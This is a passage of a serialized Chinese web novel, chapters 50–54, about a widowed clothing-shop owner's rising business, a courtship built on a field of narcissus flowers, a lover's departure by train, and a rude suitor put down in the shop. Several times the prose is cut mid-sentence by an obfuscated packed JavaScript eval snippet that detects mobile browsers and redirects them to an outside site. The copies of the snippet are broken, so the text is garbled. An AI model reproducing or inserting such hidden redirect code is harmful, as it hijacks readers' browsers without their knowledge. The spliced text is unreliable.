这时的高歌控制不住自己想起那诗句：高歌谁和余，空谷清音起。非鬼亦非仙，一曲桃花水。该死，明明自己和她才是那天造地设的一对，这老天爷怎么就不开眼呢？ 50.无奸不商 陈玲和李秋实成功回到度假村后，在水非仙和高歌的照顾下回到各自的房中休息，遇到这样的事，继续留在度假村不安全，便决定明天一早趁下一次大暴雨到来之前，大家伙儿开车赶回Y市去。 当天夜里，陈玲看看熟睡的小莲，翻过身悄悄钻进水非仙的怀里，压低声音开口：“水姐姐，我喜欢上了一个人。” 水非仙伸出手，用手指梳理着陈玲的长发，静静听她分享自己的心事。“我知道他家正在遇到麻烦事，前不久听说他们钢厂都组织所有工人捐钱，一同挺过难关了。也知道他的妹妹跟我合不来，他妹妹看不起我高高在上的。更知道爱情也好，婚姻也罢，都是两个家庭的事，我们在一起，遇到的困难远比我一个人的时候要多得多，我这时候和他在一起纯属自找麻烦。可是，水姐姐，直到今天，我才明白，感情不是合不合适，而是明知前面是南墙，我也会奋不顾身地撞上去。而是我相信他，无论发生什么，都能陪着我一起解决。水姐姐，他已经向我这里前进了九十九步，最后一步，我想由我来向他奔赴。” 一旁的小莲不知道什么醒了，就这么偷偷听着，听到玲玲姐这么说，小莲恶作剧式地从身后扑上来，把陈玲吓了一跳，小莲笑嘻嘻道：“我在书上看到过，现在的人结婚，都有伴娘来的。虽然我现在年龄小，但你可别嫌弃我，你的伴娘，我当定了！” “好，那就这么说好了，你来做我的伴娘。”陈玲抱住小莲，狠狠亲吻一口小莲的额头。 水非仙想想：“那你要跟他表白或者求婚吗？到时候，我可以帮你。”陈玲用力点着头，开始描绘自己心目中美好的求婚场景：“他现在正遇到困难，所以我要攒钱给他买最好的结婚对戒。我啊，要在某个他没有心理准备的瞬间，掏出头纱戴在头上，在很普通没有刻意准备的地点，或许是一个十字路口，又或许是一个停车场，突然就单膝下跪。我要所有的路人都为我们献上热烈的掌声。然后我就在他感动哭出来的那一瞬间，拿出我准备已久的戒指，那戒指要戴在花上，在他泣不成声的时候我就问他：愿意跟我走下去吗？最美的王子，以后由我来保护你……”说着说着，陈玲就睡着了，再看小莲，也不知道什么时候早就睡过去。 但愿天从人愿，水非仙想，陈玲这么善良的姑娘，值得一切美好。接着，水非仙也跟着沉沉睡去，徒留窗外的明月在消化着世人许下的心愿。 第二天，众人按照来时的车辆分配原样不动地回城。水非仙和陈玲所在车辆自然没话说，直接走安全路线开回城里，然后各忙各的就好，路上也没任何意外发生。 再看李秋实这边，实在是有些惨了。高歌就跟失了魂一样，时不时来一脚大刹车，吓得李秋实是欲言又止，好在城外的车辆不是很多，一路上倒也相安无事。可高歌一向冷静自持，到底发生了什么？才能让他失态至此？简直就像换了个人，根本不是他从前认识的高歌。 直到高歌在下一个红绿灯口路过莲仙，看着那店面痴痴发呆时，李秋实总算明白发生了什么。 “咳，水小姐确实优秀，气质出众，对待家人温和包容，事业上也颇有手腕，有些人喜欢她，我倒是丝毫不意外。你们两个，倒也很是般配。”李秋实随口说道。 “别瞎说，人家水小姐，早已成家，如何是我能攀扯的？”似被说中心事，高歌看上去十分烦躁。 这下李秋实总算知道高歌的心事为何，他忍不住笑道：“我还以为我们高烧被夺舍了？原来你不知道啊？” “不知道什么？”高歌的语气隐隐有些不悦。 “虽然这么说不太礼貌，可水小姐的丈夫已经去世一年多了。水小姐是为了养活女儿才出来摆摊，竟在短短一年时间做到现在这样的地步，这是令人敬服。哎，人家家里发生这么惨的事，没想到，对咱们高少来说，竟是天大的好事。你说说你，心黑不黑啊？啊不对，你从前以为人家有丈夫，还暗恋人家的吗？不愧是港城高少，玩得真花。”李秋实边说边用单手撑起头，侧过身来，玩味地看着高歌。 高歌此时根本没有心思去管这位损友又说了什么，他只听到水非仙的丈夫死了一年多这样足以令他的世界地震的消息。她，竟是单身吗？不对，高歌冷静下来，你不可以这么自私，你分明知道她如果跟你在一起，要面对什么，你真的觉得自己能许她一个幸福的未来吗？你真觉得，你这样的人，她跟你在一起会幸福吗？ 高歌不断地在心里拷问着自己，直到车子来到护城河边上，旁边的李秋实猛然喊道：“停车！河边有人！” 高歌猛踩一脚刹车，抬头望去，护城河边上，已经有个人，扒着栏杆，一跃而下。高歌没有一丝犹豫，外套一脱，冲上去跟着跳下去，总算，最后结果是好的，他在河中找到那人，用尽全身的力气将他拽到地面。 李秋实看到这人，也不知为何，刚才还谈笑风生的他此刻格外气愤，他冲上来就按住那人，质问道：“你为什么要选择这样极端的方式？你有没有想过你的亲人是什么感受？” 那人咳嗽两声，眼泪从眼眶里直接涌出，他呜咽道：“如果能活，谁想走啊？我就是为了家人啊，我的公司才成立几个月，才几个月，他们就不让我活了！谁都可怜，谁都跟我欠着款，我欠别人的也还不上，公司一摊烂账，这一整顿，我什么都没了，还欠一屁股烂账。我活着就是连累家人，还不如死了，我死了，我家人才能活，你懂什么？” 李秋实红着眼眶，怒道：“你真以为你死了问题就能解决了吗？你死了是爽快，你的家人呢？” 那人愣了片刻，开始捶地发泄道：“妮儿，我对不起你啊！对不起你！” 李秋实狠狠抓住对方的肩膀，瞪着对方的眼睛怒道：“你知道吗？人要是被逼上了绝路，有什么做不到的？你问问自己，真就一点办法没有吗？你有没有想过，或许你能做到呢？你有没有狠狠逼过自己，你这条命与其这么轻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13080109|134372||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 易不要了，不如重新开始，不如去拼上这条命来闯出一条路来。人生只有一次，你若是轻易放弃，那留给你和你家人的只有痛苦和遗憾，但相反，哪怕只有一点点可能，你都能去拼一把，给你的人生创造出一分可能性不好吗？几十年的生命，谁来这世界上都是短短一辈子，为什么要满载遗憾地下车呢？”李秋实这话，已经不知道是在说对方，还是在说自己，那人已经被李秋实的话说到愣住，是啊，都死过一次了，还怕什么？ 一旁湿透的高歌一直坐在一旁的地上，静静地听着，听到这里他放声笑了起来，就像被囚禁很久的人，终于迎来了解脱。他站起身，轻轻拍拍李秋实的肩膀，笑道：“你说得对，我的心，是挺黑的。”说罢，头也不回地走回车里，然后降下车窗，探出头来喊道：“你自己想办法回家，我要去忙了。”然后头也不回地将车开走了。 李秋实看着高歌离去的方向翻个白眼，接着继续劝眼前的人。 高歌那边，就这么湿漉漉地直接开车赶到莲仙。果然，工作狂水非仙回到城里第一件事就是直奔店里，水非仙看到浑身是水的高歌朝自己走来有些吃惊：“高先生，你这是怎么了……” 高歌却笑弯着眼眸，像个青涩的小伙子一样，抹一下脸上的水，放下话：“晚上，到我商场前的空地来，我有东西要给你。”说罢，好像害怕水非仙拒绝，直接跑走，这令水非仙完全看不懂。不过，高歌既然这么说，自己总是要去的，毕竟欠他太多，这人情债都还不完。 夜里，水非仙如约来到高歌百货公司前漆黑一片的空地。在她从黄包车上下来的那一刻，无数灯光亮起，眼前是一片水仙花围成的花海，这些水仙花不是零零散散地堆在一起，而是被用心地摆成山河起伏的样子。 “全城的水仙花都在这儿了，我摆了一个下午。”高歌的声音从身后传来，声音温柔。他身上还是白天那身衣服，这会儿已经自然烘干了。“水小姐，我将全城的水仙花送给你，只为赢你一个和我试试的机会。若你今天答应我，那这所有的水仙花，我都送给你，当我送你的定情信物。若你拒绝我，这些水仙花，我也送给你。只是这些花用了我两年的饭钱，我就没钱吃饭了，还请你管我两年的饭。” 水非仙轻轻挑眉：“我欠你很多人情债，你分明知道，我拒绝不了你。可我若是管你一个大男人的饭，这两年我也不可能和别人发展感情了，你也可以用饭来当借口，拉近我们之间的距离。高先生，你这是在道德绑架吗？”若说自己对高歌没有一点感觉，那也是不可能的。但，她可不想再给小莲找个继父了。 高歌笑着点头：“水小姐，你知道的，无奸不商。都用正大光明的手段，怎能走到今天？” 水非仙看两眼高歌，对方眼里的光芒让她不忍拒绝，何况，高歌说得也没错。她和高歌对峙片刻后叹气道：“高先生，还请你帮我找人制成干花再将这些花给我。以及，你爱吃什么，记得告诉我。” 51.第一百步：离别 第二天，水非仙还在店里忙活，就见陈玲火急火燎地冲进来，对方慌张的声音都在颤抖：“水姐姐，水姐姐，李秋实他……” 眼见陈玲这状态明显不对，水非仙安慰道：“别着急，慢慢说，李秋实怎么了？” 陈玲大喘一口气，立刻抓住水非仙的手：“水姐姐，李秋实要走了，他一句话都没说，直接就要走了，我刚去了李家，别人正在往外搬东西，听人说他已经去火车站了，好像马上就要走，再也不回来了！好像Y市来了什么人，我家好像也出了事，但远没有李家那么严重。就一夜之间，怎么发生这么大的变化？” 听陈玲这么说，水非仙的眉头猛然一跳。这时候陈玲慌了神，自己可不能慌，不能给这姑娘留下遗憾，她抓起陈玲的手就往陈玲家的车上赶。上车以后立刻对田叔说：“快去火车站，我们去把这小子拦下来，不能让他不明不白就走了！” 田叔正等着这句话，一脚油门下去，抢着从人少车少的道以最快的速度往火车站赶。赶到火车站后，水非仙和陈玲一起从车上跑下来，向火车站飞奔，路上水非仙快速跟卖黑票的随便买了两张，又买了两包烟。 赶到检票处，三两句交代清楚来意又把烟交给工作人员，这才从旁边的员工通道快速进入站台。好在赶上了，去往粤省的火车还没有发车。 陈玲看着眼前的火车，那么长，这让她如何找起，委屈的心思一下就涌上她的心头。不是说好，向自己走一百步吗？怎么就突然在自己主动想要靠过来的时候变卦了？ “李秋实！你个孬种！你个臭男人！你也太坏了，你出来啊！你要不然别招惹我，要不然怎么可以在我动心以后离开！”陈玲边走边喊，火车站也太吵了，她不确定自己的话李秋实能不能听到，她只能声嘶力竭地用尽自己最大的力气去吼着。 “李秋实！你有没有想过，我早就习惯了你的存在，你突然从我的世界里彻底消失，会对我造成多大的伤害！你能不能不要这么狠心，在我最爱你的时候，离我而去！”陈玲边喊，眼泪边往下淌，她一个又一个窗口挨个往过去看，这里没有李秋实，下一个也没有。恐惧感牢牢地攥住她的心脏，她害怕，本以为幸福唾手可得，本以为下一站是圆满大结局，为什么等在终点的，却是连道别都没有的别离？ “李秋实，我求求你，我求求你，留下来好不好，有什么问题，我陪着你啊，我陪着你一起解决。”飞快跑过半趟列车的陈玲感到自己渐渐脱力，此刻的她已经崩溃，曾经她为了自尊请水非仙为自己设计了绽放，然而此刻的她却在火车站放下自尊，苦苦哀求，引得路人指指点点，可她早已不在乎了。而与此同时，这火车毕竟是毫无同情心的铁疙瘩，鸣笛声的响起，熄灭陈玲心中最后一丝火苗。 陈玲听到声音被迫站起，她已经明白，再无一丝可能了，她咬着牙，愤怒地向前最后地奔跑着，身后的站台保安在阻拦，告诉她危险，远离火车，可陈玲听不到，她只恶狠狠地喊着：“李秋实，你若今天下车，我养着你，不管多大的风浪，我陪着你。可你若执意伤害我，那么我们此生就是敌人，再无可能，你可想好了。” 回答陈玲的只有火车启动，缓缓向前驶去。在陈玲看不到的地方，李秋实早已靠着某节列车的墙壁，哭得泣不成声，整个人崩溃地跌坐在地面，不停喃喃着：“玲玲，对不起，对不起……” 与此同时，水非仙以及来送站的高歌追上来，水非仙上前将陈玲扶起。陈玲红着眼睛，用力抱住水非仙，下嘴唇不停颤抖，说不出一句话。水非仙知道这时候说什么都是没用，她感到阵阵心疼，只能用力回抱陈玲，给她力量。 “这是李秋实留给你的信。”高歌将一封精心包装好的信交给陈玲。 陈玲转过身，抿着嘴将信封撕开。只见那信上写着：照顾好自己，我在未来等你。 陈玲冷笑着，将信一点一点，撕得干干净净，走到垃圾桶边，将那信用力扔进桶中，然后回来对水非仙和高歌说：“走吧，水姐姐。我没有遗憾了。” 回去的路上，听高歌介绍，水非仙才知道，原来这次整改，几乎让78年后发家，由个体户转私企的这批先锋，全部倒在这里。陈家还好，只是关闭了一个店。李秋实的父亲，走投无路，无奈将手中的厂子和公司全部上交，外派到一个村子里做了村支书。 水非仙静静地听着，心中感慨世事难料，从前李秋华嘲笑陈玲是暴发户的样子还历历在目，这才过去多久。她自以为优越的圈子竟消失殆尽，自以为高贵身份的人竟全从桌上下来，在不久的将来，牌桌上便会换上另一批把握住89年代末红利的新人。 而李秋实，家中什么都没了，他和高歌借了一万块，想去粤省重新打拼。“他知道这么做对你不公平，可如果停在这里，他的自尊心不允许，他想要给你最好的，他不愿让你跟着他受苦。陈玲，他很爱你，这点毋庸置疑。若你也心里有他，那不妨想想，此刻的别离是为了更好地相聚。”高歌劝解道。 此刻的陈玲，靠在车窗上，不想理会高歌，这时候她什么也听不进去。她静静地看着窗外，也不流泪，就这么放空自己，周围的人都心疼，却也觉得这时候还得她自己想明白。 这天晚上，水非仙和小莲留在陈玲家，就像之前那样，三人一同过夜。本来睡前陈玲的情绪还比较稳定，这诡异的稳定让水非仙和小莲都不太放心。终于，到了半夜，她居然扑到水非仙的怀里，放声大哭起来：“水姐姐，你说我是不是眼瞎啊，长这么大第一次喜欢上一个人，就喜欢上这么个烂怂玩意儿。” 听着陈玲的话，水非仙哭笑不得，但总算是放心了，她轻轻拍着陈玲的背：“这就对了，哭出来，哭出来就好了。明天天一亮，迎接新的生活，我和小莲都会陪着你的。” 小莲起身从床边拿起几张纸，递给陈玲姐，安慰道：“没事，陈玲姐，你还有我呢。我给你唱首歌吧。花篮的花儿香，听我来唱一唱，唱一呀唱……”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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陈玲认真道：“有什么好可惜的。他李秋实之所以离开我，说白了就是觉得我陈玲太弱了，他觉得我是个不可依靠的大小姐才选择靠自己去打拼。可如果昨天的我，有那个实力去帮他脱离困境，那他李秋实再爱面子也会来倒贴我。说白了，那么多借口，不过都是我陈玲，不够强大。那么，既然他看不起我，我陈玲，还非要争这口气了，他觉得他强过我，那我们来比一比，看看几年后，到底是谁需要来仰望谁。水姐姐，我陈玲，从此一心奔在事业，罗马卷好看，不适合我，我的时间很宝贵，我要全部用在事业上。我，要让珍宝轩站在时代的浪尖。我陈玲，恨他辜负我，但我才不要做怨妇悲春伤秋。我陈玲，要让他知道，伤害我，是他做过最愚蠢的事。” 陈玲的话音刚落，家中的保姆就来传话：“玲玲，有人来找你，我带进来了？” 这时候会是谁呢？陈玲开口：“带进来吧。” 保姆将门打开，走进来的人令在场众人意想不到。来人竟然是李秋华。 陈玲挑眉：“怎么？来替你哥道歉的？” 那李秋华没有回答，只是走过来突然弯下自己那骄傲的腰，对陈玲鞠躬恳求道：“陈玲姐，求求你，让我跟着你留在珍宝轩做事吧，从前是我不对，只有你能收留我了。” 52.白英加入 陈玲看着眼前弯下腰的李秋华，出神地思考片刻，然后说：“我们珍宝轩的情况也不是特别好。打工人自然是收的，但大小姐我们不收。” 李秋华直起腰杆，认真道：“家中遭遇变故，哥哥和父亲都在努力着，我早已不是什么大小姐。不需要特殊待遇。” 陈玲垂下眼眸：“既然如此，你就留下吧，他毕竟对我很好过，若要断干净，终是要还上这笔债。”说完，她微笑着伸出手：“我接受你的道歉，从前的事一笔勾销，往后我们是同事，还请多多指教。” 李秋华伸手与陈玲相握，几句谈笑间，两名曾经怄气的姑娘，在这种情况下，一笑泯恩仇。 趁着陈玲去为李秋华安排职工宿舍的一点时间，水非仙问李秋华：“是你哥叫你来的吧？” 李秋华笑笑：“我哥，从小没吃过任何苦。他与我的感情，兄妹嘛，也算不上多亲近。可他到底是我的亲哥哥，他喊我帮他守护陈玲，我虽然不喜陈玲，可为他，我总要来的。” “我既然能猜出来是你哥叫你来的，陈玲未必猜不出，他既然选择为前途离开陈玲，此刻又为何派你来？你在她身边，她如何忘得掉？李秋实这样既要又要的，是为哪般？”水非仙有些不满，虽然说站在李秋实的角度，他也没错，可偏心自己的闺蜜，到底是人之常情。 “我跟着陈玲一起喊你水姐姐吧？”得到水非仙的点头答案后，李秋华再次开口：“水姐姐定是没喜欢过一个人吧。放下一个人，从来不是刻意不去听对方的消息，从来都不是逃避。真正的放下是，某一天走在路上，再次遇到对方，你还能坦然地和对方打打招呼，聊聊最近发生的事，然后就此别过，像老朋友一般。水姐姐，你信吗？我在她的身边，才能提醒她，我哥哥真的离开了这一事实。” 李秋华这番话，与水非仙印象中那个指着陈玲骂暴发户的女孩子完全是两个人，“你变了好多。”水非仙本以为她会无条件向着自己的哥哥，容不得别人说自己哥哥一句不好听的话。 “人嘛，总要长大的。我也是直到今天才知道，人的长大原来就在一瞬间。”李秋华低垂着眼眸，努力不让自己的眼眶变红。 “哪一瞬间？”水非仙往她的手里塞点纸，轻轻拍拍李秋华的背。 “在发现自己的身后再没有任何底气，没有任何人可以依靠的那个瞬间。” 离开陈玲家，水非仙先送小莲回家写作业。高歌的百货商场开业在即，工程在最后收尾阶段，哪怕和水非仙有管饭之约，最近这段时间他恨不得睡觉都在商场打铺盖，也根本没有时间来水非仙这里。自然，他不来正好，水非仙最近也正在忙碌的阶段。一来，王芹芹带出来的第一批已经可以提前上手制衣，水非仙也早已将她们录用，莲仙的营业属性也从个体服装店转变为私企。二来，给出的承诺也是时候该兑现了。 水非仙来到王姐家里，正式对白英发出邀请，前面有承诺过为白英找工作的事，水非仙自然是一直没忘的。“白英，你说你不愿进厂子，不知道私人企业你愿意来吗？” 王姐摆摆手：“小水，谢谢你的好意，你看最近闹得沸沸扬扬的，为平民怨，李家都倒了。这在私企干，还能有前途？虽说厂里效益不少，但好歹能赚不少。” 白英问道：“不知道是哪里？能赚上钱我就去。” “也不是多好的地方，一家卖衣服的，规模不大，只有几个人，名字叫莲仙。” “莲仙，我听过，现在城里最火的服装店。男装最火的是金利来，女装最火的就是莲仙了。”白英用力点头，她也偷偷去看过，那莲仙装修得漂亮着呢。 “呦，卖衣服的啊……好是好，只是收入怕不高吧，那还不如进厂。”王姐眉头紧蹙，小水是摆摊卖衣服的，同一个行业，认识大服装店的人倒也不奇怪。只是，她听说在商场里卖衣服的导购小姐一个月收入连一百都不到，离公家的厂子差的是有些远了。 “一个月三百，该有的福利都有，我个人是觉得可能会比进厂稍微好一些，当然，这还得看白英自己的想法。”水非仙看向白英等待着她的答案。 王姐和白英对视一眼，从彼此的眼中读出不可置信，王姐忍不住质疑：“这如今咱们厂工资发得都开始拖欠上了，还能有公司给出三百块这么多钱？还是个私企，该不会是骗人的吧，白干一个月，然后公司跑路不见了？” “你们放心，这点我可以保证。” “小水，你保证？你该不会也被骗了吧？我可给你说，不敢瞎替人做生意的担保奥，出了啥事别人是要找你的。你可得注意点了，你看那李家不就跑路了，从前那么大的家业。说没就没了，真是眼看他高楼起，要看他高楼塌的。说起来，最近你王姐忙活家事，也有一段时间没关心过小水你家的情况了，你没有结交什么社会上的人吧？”王姐拉过水非仙，紧紧盯着对方，这小丫头命苦，还带着女儿，三百块哪是说给就给的？她可不能眼睁睁看着小女娃被骗，自己啥都不说的。 水非仙不再卖关子，她只觉得有些好笑，最终没忍住，“噗嗤”一声笑出来：“王姐，你在说什么呢？放心吧，莲仙骗不了我。因为啊，那莲仙就是我的。” 白英和王姐转过头，有些匪夷所思，王姐怀疑道：“怎么可能，你不是才摆摊一年多？怎么就都能开店了？不过莲仙这名字，这不是正合了你和小莲的名字，小水，你该不是傍了大款，被包养了吧？” 水非仙无语地看看王姐，转头对白英说：“我既没有被包养，这钱是我自己赚的，而且我能保证莲仙最起码短时间内倒闭不了。我是老板，一个月三百我也说给就给，绝不赖账，你只说来不来？我们店里都是女子兵。”说完，起身就要走，招白英 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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白英的服务方式，与自己想象的不同，水非仙的思维方式固化在流量运营，而白英则是更符合这个年代的社区运营。也就是说她不仅做好店里的事，方圆社区及门店的忙，她能帮的都会帮，久而久之在这附近有了一定的人气，谁提到莲仙，都会想起那个好姑娘白英。为了帮助白英，大家也愿意转介绍客户给她。 而白英，本身就爱笑，人也看着精神，谁都愿意多看她两眼，多跟她说两句话，这会令客户保持一整天的好心情。白英这孩子本身也努力，经常主动和王芹芹一起，偷偷加班，不懂服装方面的知识，她总是在这个时候偷偷买书和杂志来看，去看着成品来恶补，以备能更好地帮助到客户。白英的到来为莲仙的服务等级和知名度都提供不小的加成，再加上王芹芹团队的加入使得莲仙的产能进一步提升。到月底结算起来，水非仙店面的营业额翻了一倍，达到在这个年代里算起来，算是可怕的程度。 达到家喻户晓的程度，水非仙和白英在莲仙工作的事在家属院就瞒不住了。 53.再遇赵春来 “你快别坐着了，你又不买这些店主的东西，还走哪坐哪，这周围的人你都看你呢！”赵春来的女友芳儿嫌恶地看着坐在小吃摊上免费蹭座还不想起身的赵春来。这男友，她十分不满意，三十好几的男人还离过一次婚，长得和他那不好对付的姐姐一个样儿，一脸刻薄相。 如果她自己能选对象，这赵春来她是十分看不上眼，可耐不住家里母亲就觉得这赵春来条件不错，非要撮合自己跟这赵春来。说什么对方虽然离异过，可到底家里给留了老房子，工作也好，在百货商场，不愁前途，更别说对方姐姐姐夫一家都是好工作。自己若跟了他，那以后就是吃香的喝辣的。芳儿总觉得哪里不对，相处下来这赵春来分明是急着找对象，要真是条件好、人也好。要求还不高，能离婚到现在还单身呢？ 就说今天吧，喊他出来陪自己到莲仙买件衣服，他磨磨唧唧的根本不想来。莲仙的衣服那都得排队一两个小时才能进去买的，但买到可就是赚到啊。还是自己假装要生气，旁敲侧击地表示买衣服的钱不需要他出，她这无所事事的对象才勉强愿意陪着自己出来买衣服。 “实在不行，我给你买瓶汽水吧。”本来莲仙店门口的座位就紧俏，他还跟人花了钱的抢座位，赵春来好意思，芳儿可拉不下这个脸，提议自己出钱，好歹买瓶水。 “你这人，怎么这么不会过日子。”赵春来眉头一皱，就开口教育上了：“人老板还没说什么呢，你急什么，人说了再买不行吗？何苦花这冤枉钱，破汽水，我赵春来工作的时候要多少有多少，那从来不花钱。你要爱喝，下次我上班的时候你来，我帮你跟人要免费的。”说到得意之处，赵春来扬起脖子，好似在等待芳儿的夸赞。 芳儿看他这个样子，心里后悔得实在不行，怎么就能答应自己母亲跟他找对象呢？她厌恶地转过头去，罢了，就忍这一天，等买完衣服回去，就跟自己母亲摊牌，这对象她说什么也是不能再找了。 好容易队伍排到自己，芳儿高兴地进入店里，这莲仙的店面果然如传说中一般好看别致。她小心翼翼地抚摸着面前好几个自己看上的款式，认真挑选，莲仙的衣服每次来限购一套，价格也不低，她可要认认真真挑选了。 “这套不行，你胖，穿这套不是更显胖了？”芳儿刚拿起一套，准备去试穿，一旁的赵春来倒是先指指点点上了。 这话说得芳儿听着不舒服，但人家都这么说了，芳儿向来好脾气也就忍了。她又拿起下一套光看着就令自己心情好的裙子。 “哎哎哎，这套就更别试了，你黑，穿这个不是更显黑了吗？”赵春来的嘴咂巴着发出“啧啧啧”的声音，同时还摇着头，给予芳儿全方位的否定。周围挑衣服的人，听到赵春来这么说，都小声地在笑，芳儿感到委屈极了，有种想将手里的衣服狠狠砸在他头上，然后转身就走的冲动。 “漂亮姐姐，你是喜欢这套是吗？你的眼光真好，它是我们店里非常特殊的款式哦。”一道温柔的声音适时靠近，安抚了芳儿的心。她抬头向声音的主人望去，是一位看上去乖巧可爱，落落大方的少女，那女孩对着自己笑的时候，脸颊上的两个梨涡看上去十分讨喜。 “我……穿着会不会不好？”芳儿有些委屈，也有些不自信。 “姐姐，衣服是给人穿的，不是人被衣服穿。喜欢就试喽，又不是明星需要去拍杂志，自己喜欢不就好啦。而且，我们老板告诉过我，漂亮从来不是千篇一律的，更没有固定的要求模板。做好自己，享受阳光的每个人，都很漂亮。在我的眼里，姐姐，你就很美啊，你的五官真的很好看。”面前的小姐姐歪歪头，给予芳儿鼓励。 我……也很好看吗？长这么大第一次被肯定的芳儿有些手足无措，从小到大，她听到的都是各种人甚至包括自己的母亲对自己的否定。面前的小姑娘，看上去年龄不大，可她的眼中透露出的肯定，让人不自觉认可她的观念。 芳儿用力点头，指指先前看上的两套衣服：“你说得对，我喜欢它们，请帮我找合适我的号，麻烦了。” 赵春来看着眼前这幕心里不爽极了：“哎，怎么别人说什么你都信啊。她是卖衣服的，你就是裹个破抹布她都会说好看的。你宁愿信个卖衣服的都不信我吗？”开玩笑，这两套衣服位于店里正中间的位置，想来必定是最贵的，他好不容易才说服芳儿放弃这里的衣服，这就被坏事了！让芳儿婚前多省点钱，才是自己这次陪她出来的唯一目的。否则这秋天才过去一半，还热着呢，谁愿意出来晒这太阳。有这功夫，还不如在床上躺着！ 这位小女孩正是白英，在这男的说第一句话时，她就敏锐地察觉到异样，经过这段时间的工作，她发现服务说白了还是个将心比心，她不允许任何自己的顾客在自己的眼皮子底下受到伤害。 白英不屑搭理对方，对方却惹上门来，自己家老板向来行事手腕颇硬，进店这段时间水姐姐的光辉事迹，都被店里众人宣讲了一遍，此刻的她可不打算拖自家老板后腿。于是，刚才看着还乖巧的白英，此刻柳眉倒竖，鄙视地看向眼前的男子：“呦，小姐姐，这位跟你是什么关系啊？我就说小姐姐你再漂亮也不能找对象这么随便吧？还说人家又黑又胖，也不先看看自己那肚子，比那电冰箱都能装，自己那脸皮，比那黄包车老汉的脚背都黢黑。我前面说错了，小姐姐并没有很完美，最起码她眼神不好，就挑上你这么个天蓬下凡还投错胎的癞蛤蟆，那叫一个长得又丑玩得又花。外人面前一声不敢吭，跟自己对象重拳出击，我也不想知道你有病，可按捺不住你搞得尽人皆知的啊！你有病，请出门再发作，别在店里发作好吗。我们莲仙是服装店又不是兽医店！” 白英年轻，嘴皮子灵活，赵春来还没来得及说一句话，就见白英嘴皮一碰，跟机关枪一样，战斗力十足，骂得对方那是见缝插针都做不到。 一番话说完都没见赵春来有什么回应的白英，还觉得没意思极了，刻意换 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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他话音才落，芳儿就用一副看傻子的眼神看着他，早在刚才白英这小姑娘替自己出头时，她就决定，这男人不能要了。她轻哼一声：“我看小姑娘说得没错，怎么就没大没小了。你确实脑子不灵光还不多读书多看报，你眼前的这位，可是我们Y市的风云人物，莲仙的老板，优秀女创业者，水非仙！这家莲仙都是她的。这衣服一套二百，莲仙每天能卖出去几十套都是少的！更别说莲仙的衣服买到就是赚到，转手一卖都能赚钱！究竟是谁不如谁！谁别在谁面前大呼小叫！” 说完，赶紧跟水非仙急着解释：“水老板，我和他没有任何关系了。从前是我眼瞎，你可不能因为我眼瞎，就让他拖累我，从此以后就不让我来了啊！” 水非仙安抚芳儿：“是你受委屈了，让你在莲仙的店里有这样糟糕的体验我很抱歉。你今天的消费，我给你八折，你看这样可以吗？” 芳儿听到这样的好消息开心极了，她连连点头：“可以，太可以了。需要我帮你把他请出去吗？我这就赶他走！” 那赵春来根本听不到芳儿后面的话，事实上，他在前面听芳儿说起来水非仙就是这家店的老板时，就已经呆在那里了。衣服的盈利他不懂，店面经营他也不懂，但哪怕一件衣服的净利润只有一块钱，她一个月都一千大几了！边计算着，他边听见自己的心猛猛地跳动声，他这才发现，水非仙真好看啊，比自己认识的所有姑娘都好看。这么好看的姑娘，配他不是正合适吗！虽然她还有个拖油瓶，可他如果娶了他还能搬进起重机家属院里，跟自己姐姐住一块儿。 54.再接高定 “你说什么？那水非仙如今竟是莲仙的老板？一个月还能赚到一千以上？”赵春燕瞪大双眼，惊讶地听着弟弟的话。 “这还能有错？我亲眼看到的，我仔细去看了，那水非仙现在长得也跟从前不一样了，要不说金银养人呢！姐，你这次可一定要帮我，我要是能娶那水非仙，那就相当于往怀里抱了个聚宝盆。凭我这样貌，这条件配她正正好。就差姐姐往里面使一把力了。” 赵春燕略一思忖间，心里就有了主意，她眼底泛光，轻拍拍自家弟弟的肩膀：“这事儿，你就交给你姐。最近这段时间，就好好把自己捯饬捯饬，不怕她水非仙不动心。俗话说不打不相识，咱们与那水非仙从前有过节，在她心里自然是不一样些。这下好嘛，都是老天爷定下的缘分，十年赌约也算有个圆满的结局。到时候十年期满，你们的孩子啊，也长大了，算是一段佳话。” “那就拜托姐姐了，我这就去剪个洋气的发型。”赵春来离开的时候，姐弟二人已经在幻想着一个月有一千块，以后要过什么样的日子。 于是，当天水非仙关店以后带着女儿回家时，家属院里已经聚集了一群等着看热闹的街坊邻居。那赵春燕看着水非仙骑车回来，也不知道哪根筋不对，一拍大腿，一扭腰，热情地就冲上去：“呦，这不是我们小水嘛！小水啊，姐等你好久了。” 还没等水非仙搭理她，那院中众人已经边凑在一起边嗑瓜子边起哄：“呦，这是太阳打西边出来了？往常你春燕见到小水，不挖苦几句都算不错的，今天这是怎么了？” 